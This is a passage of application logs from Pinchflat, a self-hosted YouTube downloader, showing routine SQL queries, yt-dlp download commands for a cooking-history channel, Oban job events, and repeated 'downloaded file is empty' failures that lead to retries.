m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:59:50.344 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 03:59:50.344 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 03:59:50.345 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:59:50.345 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:50.345 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:50.345 [debug] Running yt-dlp command for action: get_downloadable_status 03:59:50.346 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:50.346 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:50.346 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:50.346 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/77/ad/77ad1ee0d6fde48afa98c60b5d34271e61846311ecfc0d6d2a4fbb20468609cb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:59:54.396 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/77/ad/77ad1ee0d6fde48afa98c60b5d34271e61846311ecfc0d6d2a4fbb20468609cb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:59:54.396 [debug] Running yt-dlp command for action: download 03:59:54.397 [debug] QUERY OK source="settings" db=0.1ms idle=1004.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:54.397 [debug] QUERY OK source="settings" db=0.0ms idle=1004.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:54.397 [debug] QUERY OK source="settings" db=0.1ms idle=1004.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:59:54.397 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b6/df/b6df993f29848001d0c0a10ee4badec5f82fa9636e33efc467d651b9e421f24e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:00:00.066 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:00:17.823 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:47.824 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.067 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:01:17.825 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:47.826 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:58.122 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5b/20/5b209f475a6fad40048ed2a741e4b27d19349f0972556d090a26c4e12d5cd87a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:01:58.122 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 04:01:58.123 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":398632555,"event":"job:exception","queue_time":626391,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:02:00.068 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:02:17.827 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:47.828 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.069 [info] {"source":"oban","duration":294,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:03:17.829 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:47.831 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.070 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:04:17.832 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:24.186 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774944264186234160,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:04:24.186 [debug] QUERY OK source="media_items" db=0.1ms idle=793.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 04:04:24.186 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:04:24.187 [debug] QUERY OK source="sources" db=0.1ms idle=794.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:04:24.187 [debug] QUERY OK source="media_profiles" db=0.1ms idle=794.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:04:24.187 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 04:04:24.188 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 04:04:24.188 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:04:24.188 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:24.189 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:24.189 [debug] Running yt-dlp command for action: get_downloadable_status 04:04:24.189 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:24.190 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:24.190 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:24.190 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/52/bc52601c2d6e0a0e3655b2f7bc050b1b364072a1c842f46c943ebd0dd4c69d30.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:04:27.960 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/52/bc52601c2d6e0a0e3655b2f7bc050b1b364072a1c842f46c943ebd0dd4c69d30.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:04:27.960 [debug] Running yt-dlp command for action: download 04:04:27.960 [debug] QUERY OK source="settings" db=0.1ms idle=777.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:27.961 [debug] QUERY OK source="settings" db=0.1ms idle=568.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:27.961 [debug] QUERY OK source="settings" db=0.1ms idle=568.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:27.961 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/41/58/41589752232b532d1feef64ce8698e6b183ea50017a28d81af650e7c55569da2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:04:47.833 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.071 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:05:17.835 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:39.883 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b6/df/b6df993f29848001d0c0a10ee4badec5f82fa9636e33efc467d651b9e421f24e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:05:39.883 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 04:05:39.884 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":349541381,"event":"job:exception","queue_time":191506051,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:05:39.891 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774944339891224854,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:05:39.891 [debug] QUERY OK source="media_items" db=0.1ms idle=498.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 04:05:39.891 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:05:39.892 [debug] QUERY OK source="sources" db=0.1ms idle=499.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:05:39.892 [debug] QUERY OK source="media_profiles" db=0.1ms idle=499.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:05:39.893 [debug] QUERY OK source="media_items" db=0.2ms idle=8.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 04:05:39.893 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 04:05:39.893 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:05:39.894 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:39.894 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:39.894 [debug] Running yt-dlp command for action: get_downloadable_status 04:05:39.895 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:39.895 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:39.895 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:39.895 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/8d/c98d8348566b94a4bec4c1d39b7ca679c19c932fb7d40550780c758cc05bf47f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:05:43.879 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c9/8d/c98d8348566b94a4bec4c1d39b7ca679c19c932fb7d40550780c758cc05bf47f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:05:43.879 [debug] Running yt-dlp command for action: download 04:05:43.879 [debug] QUERY OK source="settings" db=0.2ms idle=581.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 